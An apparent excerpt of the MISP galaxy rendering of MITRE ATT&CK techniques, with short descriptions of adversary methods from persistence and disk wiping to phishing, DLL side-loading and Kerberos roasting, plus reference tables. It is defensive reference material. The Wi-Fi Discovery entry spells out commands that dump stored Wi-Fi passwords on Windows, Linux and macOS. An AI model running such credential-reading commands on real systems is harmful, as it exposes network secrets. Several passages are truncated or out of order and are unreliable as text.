Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may
create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked. (Citation: FireEye WMI 2015) (Citation: Malware Persistence on OS X) (Citation: amnesia malware)

Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges.

The tag is: misp-galaxy:mitre-attack-pattern="Event Triggered Execution - T1546"

Table 5468. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1546">https://attack.mitre.org/techniques/T1546</a></td>
</tr>
<tr>
<td><a href="https://medium.com/daniel-grzelak/back.dooring-an-aws-account-da007d36f8f9">https://medium.com/daniel-grzelak/back.dooring-an-aws-account-da007d36f8f9</a></td>
</tr>
<tr>
<td><a href="https://www.varonis.com/blog/power-automate-data-exfiltration">https://www.varonis.com/blog/power-automate-data-exfiltration</a></td>
</tr>
</tbody>
</table>

**Malicious Media Content - T1457**

Content of a media (audio or video) file could be designed to exploit vulnerabilities in parsers on the mobile device, as for example demonstrated by the Android Stagefright vulnerability (Citation: Zimperium-Stagefright).

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-attack-pattern="Malicious Media Content - T1457"

View relationships graph

Malicious Media Content - T1457 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Drive-By Compromise - T1456" with estimative-language:likelihood-probability="almost-certain"

Table 5469. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1457">https://attack.mitre.org/techniques/T1457</a></td>
</tr>
</tbody>
</table>
Hijack Execution Flow - T1574

Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.

There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.

The tag is: misp-galaxy:mitre-attack-pattern="Hijack Execution Flow - T1574"

Table 5470. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1574">https://attack.mitre.org/techniques/T1574</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns">https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns</a></td>
</tr>
</tbody>
</table>

Plist File Modification - T1647

Adversaries may modify property list files (plist files) to enable other malicious activity, while also potentially evading and bypassing system defenses. macOS applications use plist files, such as the <code>info.plist</code> file, to store properties and configuration settings that inform the operating system how to handle the application at runtime. Plist files are structured metadata in key-value pairs formatted in XML based on Apple's Core Foundation DTD. Plist files can be saved in text or binary format.(Citation: fileinfo plist file description)

Adversaries can modify key-value pairs in plist files to influence system behaviors, such as hiding the execution of an application (i.e. [Hidden Window](https://attack.mitre.org/techniques/T1564/003)) or running additional commands for persistence (ex: [Launch Agent](https://attack.mitre.org/techniques/T1543/004) or [Re-opened Applications](https://attack.mitre.org/techniques/T1547/007)).

For example, adversaries can add a malicious application path to the ~/Library/Preferences/com.apple.dock.plist file, which controls apps that appear in the Dock. Adversaries can also modify the <code>LSUIElement</code> key in an application's <code>info.plist</code> file to run the app in the background. Adversaries can also insert key-value pairs to insert environment variables, such as <code>LSEnvironment</code>, to enable persistence via [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006).(Citation: wardle chp2 persistence)(Citation: eset_osx_flashback)

The tag is: misp-galaxy:mitre-attack-pattern="Plist File Modification - T1647"

Table 5471. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

2552
Disk Structure Wipe - T1487

Adversaries may corrupt or wipe the disk data structures on hard drive necessary to boot systems; targeting specific critical systems as well as a large number of systems in a network to interrupt availability to system and network resources.

Adversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table. The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1488) if all sectors of a disk are wiped.

To maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).

The tag is: `misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1487"

View relationships graph

Disk Structure Wipe - T1487 has relationships with:


Table 5472. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1487">https://attack.mitre.org/techniques/T1487</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/">https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/</a></td>
</tr>
</tbody>
</table>
Disk Content Wipe - T1488

Adversaries may erase the contents of storage devices on specific systems as well as large numbers of systems in a network to interrupt availability to system and network resources.

Adversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk erased instead of individual files.

To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Novetta Blockbuster Destructive Malware)

The tag is: `misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1488"`

View relationships graph

Disk Content Wipe - T1488 has relationships with:

- revoked-by: `misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1561.001"` with estimative-language:likelihood-probability="almost-certain"

Table 5473. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1488">https://attack.mitre.org/techniques/T1488</a></td>
</tr>
</tbody>
</table>
Modify Authentication Process - T1556

Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).

Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.

The tag is: *misp-galaxy:mitre-attack-pattern=*"Modify Authentication Process - T1556"

Table 5474. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://adsecurity.org/?p=2053">https://adsecurity.org/?p=2053</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1556">https://attack.mitre.org/techniques/T1556</a></td>
</tr>
<tr>
<td><a href="https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/">https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/skeleton-key-malware-analysis">https://www.secureworks.com/research/skeleton-key-malware-analysis</a></td>
</tr>
<tr>
<td><a href="https://xorrior.com/persistent-credential-theft/">https://xorrior.com/persistent-credential-theft/</a></td>
</tr>
</tbody>
</table>

Uninstall Malicious Application - T1576

Adversaries may include functionality in malware that uninstalls the malicious application from the device. This can be achieved by:

- Abusing device owner permissions to perform silent uninstallation using device owner API calls.
- Abusing root permissions to delete files from the filesystem.
- Abusing the accessibility service. This requires an intent be sent to the system to request uninstallation, and then abusing the accessibility service to click the proper places on the screen to confirm uninstallation.

The tag is: *misp-galaxy:mitre-attack-pattern=*"Uninstall Malicious Application - T1576"

View relationships graph

Uninstall Malicious Application - T1576 has relationships with:
Adversaries may modify applications installed on a device to establish persistent access to a victim. These malicious modifications can be used to make legitimate applications carry out adversary tasks when these applications are in use.

There are multiple ways an adversary can inject malicious code into applications. One method is by taking advantages of device vulnerabilities, the most well-known being Janus, an Android vulnerability that allows adversaries to add extra bytes to APK (application) and DEX (executable) files without affecting the file's signature. By being able to add arbitrary bytes to valid applications, attackers can seamlessly inject code into genuine executables without the user's knowledge. (Citation: Guardsquare Janus)

Adversaries may also rebuild applications to include malicious modifications. This can be achieved by decompiling the genuine application, merging it with the malicious code, and recompiling it. (Citation: CheckPoint Agent Smith)

Adversaries may also take action to conceal modifications to application executables and bypass user consent. These actions include altering modifications to appear as an update or exploiting vulnerabilities that allow activities of the malicious application to run inside a system application. (Citation: CheckPoint Agent Smith)

The tag is: `misp-galaxy:mitre-attack-pattern="Compromise Application Executable - T1577"`

### Search Closed Sources - T1597

Adversaries may search and gather information about victims from closed sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data. (Citation: D3Secutrity CTI Feeds) Adversaries may also purchase information from less-
Adversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).

The tag is: misp-galaxy:mitre-attack-pattern="Search Closed Sources - T1597"

### Table 5477. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1597">https://attack.mitre.org/techniques/T1597</a></td>
</tr>
<tr>
<td><a href="https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/">https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/</a></td>
</tr>
<tr>
<td><a href="https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/">https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/</a></td>
</tr>
</tbody>
</table>

## Phishing for Information - T1598

Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code.

All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns.

Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Citation: GitHub Phishery) Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information.(Citation: Avertium callback phishing)

Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce)
Phishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)). 

(Citation: Microsoft OAuth Spam 2022) (Citation: Palo Alto Unit 42 VBA Infostealer 2014)

The tag is: `misp-galaxy:mitre-attack-pattern="Phishing for Information - T1598"

### Table 5478. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1598">https://attack.mitre.org/techniques/T1598</a></td>
</tr>
<tr>
<td><a href="https://github.com/ryhanson/phishery">https://github.com/ryhanson/phishery</a></td>
</tr>
<tr>
<td><a href="https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/">https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/examining-vba-initiated-infostealer-campaign/">https://unit42.paloaltonetworks.com/examining-vba-initiated-infostealer-campaign/</a></td>
</tr>
<tr>
<td><a href="https://www.vertisium.com/resources/threat-reports/everything-you-need-to-know-about-callback-phishing">https://www.vertisium.com/resources/threat-reports/everything-you-need-to-know-about-callback-phishing</a></td>
</tr>
</tbody>
</table>

### Network Boundary Bridging - T1599

Adversaries may bridge network boundaries by compromising perimeter network devices or internal devices responsible for network segmentation. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.

Devices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks. They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections. Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications. To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.

When an adversary takes control of such a boundary device, they can bypass its policy enforcement.
to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance. By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001). Adversaries may also target internal devices responsible for network segmentation and abuse these in conjunction with [Internal Proxy](https://attack.mitre.org/techniques/T1090/001) to achieve the same goals.(Citation: Kaspersky ThreatNeedle Feb 2021) In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.

The tag is: *misp-galaxy:mitre-attack-pattern="Network Boundary Bridging - T1599"

---

**At (Linux) - T1053.001**

Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)

An adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.

Adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via `<code>sudo</code>`.(Citation: GTFObins at)

The tag is: *misp-galaxy:mitre-attack-pattern="At (Linux) - T1053.001"

---

Table 5479. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1599">https://attack.mitre.org/techniques/T1599</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/lazarus-threatneedle/100803/">https://securelist.com/lazarus-threatneedle/100803/</a></td>
</tr>
</tbody>
</table>

---

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1053/001">https://attack.mitre.org/techniques/T1053/001</a></td>
</tr>
</tbody>
</table>

---

2559
Mark-of-the-Web Bypass - T1553.005

Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named `Zone.Identifier` with a specific value known as the MOTW. Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file is not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.

Adversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.

The tag is: `misp-galaxy:mitre-attack-pattern="Mark-of-the-Web Bypass - T1553.005"`

Table 5481. Table References

Links

- https://attack.mitre.org/techniques/T1553/005
- https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/6e3f7352-d11c-4d76-8c39-2516a9df36e8
- https://gist.github.com/wdormann/fca29e0dcda8b5c0472e73e10c78c3e7
- https://medium.com/swlh/investigating-the-use-of-vhd-files-by-cybercriminals-3f1f08304316
- https://outflank.nl/blog/2020/03/30/mark-of-the-web-from-a-red-teams-perspective/

Right-to-Left Override - T1036.002

Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named `<code>March 25 \u202Excod.scr</code>` will display as `<code>March 25</code>"
A JavaScript file named `<code>photo_high_re\u202Egnp.js</code>` will be displayed as `<code>photo_high_resj.png</code>.

Adversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity. RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.

The tag is: `misp-galaxy:mitre-attack-pattern="Right-to-Left Override - T1036.002"`

**Multi-hop Proxy - T1090.003**

To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. A particular variant of this behavior is to use onion routing networks, such as the publicly available TOR network. (Citation: Onion Routing)

In the case of network infrastructure, particularly routers, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain within the Wide-Area Network (WAN) of the enterprise. By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001), adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This custom onion routing network will transport the encrypted C2 traffic through the compromised population, allowing adversaries to communicate with any device within the onion routing network. This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method in order to allow the adversaries to cross the protected network boundary of the Internet perimeter and into the organization's WAN. Protocols such as ICMP may be used as a transport.

The tag is: `misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003"`
One-Way Communication - T1102.003

Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response.

Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

The tag is: `misp-galaxy:mitre-attack-pattern="One-Way Communication - T1102.003"`

Wi-Fi Discovery - T1016.002

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems. Adversaries may use Wi-Fi information as part of [Account Discovery](https://attack.mitre.org/techniques/T1087), [Remote System Discovery](https://attack.mitre.org/techniques/T1018), and other discovery or [Credential Access](https://attack.mitre.org/tactics/TA0006) activity to support both ongoing and future campaigns.

Adversaries may collect various types of information about Wi-Fi networks from hosts. For example, on Windows names and passwords of all Wi-Fi networks a device has previously connected to may be available through `netsh wlan show profiles` to enumerate Wi-Fi names and then `netsh wlan show profile [Wi-Fi name] key=clear` to show a Wi-Fi network's corresponding password.(Citation: BleepingComputer Agent Tesla steal wifi passwords)(Citation: Malware Bytes New AgentTesla variant steals WiFi credentials)(Citation: Check Point APT35 CharmPower January 2022) Additionally, names and other details of locally reachable Wi-Fi networks can be discovered using calls to `wlanAPI.dll` [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: Binary Defense Emotes Wi-Fi Spreader)
On Linux, names and passwords of all Wi-Fi-networks a device has previously connected to may be available in files under `/etc/NetworkManager/system-connections/`. On macOS, the password of a known Wi-Fi may be identified with `security find-generic-password -wa wifiname` (requires admin username/password).

The tag is: `misp-galaxy:mitre-attack-pattern="Wi-Fi Discovery - T1016.002"`

<table>
<thead>
<tr>
<th>Table 5485. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1016/002">https://attack.mitre.org/techniques/T1016/002</a></td>
</tr>
<tr>
<td><a href="https://mackeeper.com/blog/find-wi-fi-password-on-mac/">https://mackeeper.com/blog/find-wi-fi-password-on-mac/</a></td>
</tr>
<tr>
<td><a href="https://www.geeksforgeeks.org/wi-fi-password-connected-networks-windowslinux/">https://www.geeksforgeeks.org/wi-fi-password-connected-networks-windowslinux/</a></td>
</tr>
</tbody>
</table>

### Drive-by Target - T1608.004

Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user’s web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).

Adversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007), into websites. (Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015) This may be done in a number of ways, including:

- Inserting malicious scripts into web pages or other user controllable web content such as forum posts
- Modifying script files served to websites from publicly writeable cloud storage buckets
- Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., [Malvertising](https://attack.mitre.org/techniques/T1583/008))

In addition to staging content to exploit a user’s web browser, adversaries may also stage scripting
content to profile the user's browser (as in [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure it is vulnerable prior to attempting exploitation.(Citation: ATT ScanBox)

 Websites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack.

 Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).

 The tag is: `misp-galaxy:mitre-attack-pattern="Drive-by Target - T1608.004"`

 Table 5486. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1608/004">https://attack.mitre.org/techniques/T1608/004</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html">https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html</a></td>
</tr>
</tbody>
</table>

**Non-Standard Encoding - T1132.002**

 Adversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications. Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding)

 The tag is: `misp-galaxy:mitre-attack-pattern="Non-Standard Encoding - T1132.002"`

 Table 5487. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1132/002">https://attack.mitre.org/techniques/T1132/002</a></td>
</tr>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Binary-to-text_encoding">https://en.wikipedia.org/wiki/Binary-to-text_encoding</a></td>
</tr>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Character_encoding">https://en.wikipedia.org/wiki/Character_encoding</a></td>
</tr>
</tbody>
</table>
SID-History Injection - T1134.005

Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).

With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).

The tag is: *misp-galaxy:mitre-attack-pattern="SID-History Injection - T1134.005"*

### Table 5488. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://adsecurity.org/?p=1772">https://adsecurity.org/?p=1772</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1134/005">https://attack.mitre.org/techniques/T1134/005</a></td>
</tr>
<tr>
<td><a href="https://msdn.microsoft.com/library/ms677982.aspx">https://msdn.microsoft.com/library/ms677982.aspx</a></td>
</tr>
<tr>
<td><a href="https://msdn.microsoft.com/library/ms679833.aspx">https://msdn.microsoft.com/library/ms679833.aspx</a></td>
</tr>
</tbody>
</table>

One-Way Communication - T1481.003

Adversaries may use an existing, legitimate external Web service channel as a means for sending commands to a compromised system without receiving return output. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response.

Popular websites and social media, acting as a mechanism for C2, may give a significant amount of cover. This is due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
DLL Side-Loading - T1574.002

Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).

Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)

AS-REP Roasting - T1558.004

Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002) Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017)

Preauthentication offers protection against offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002). When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user's password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user's password.(Citation: Microsoft Kerberos Preauth 2014)
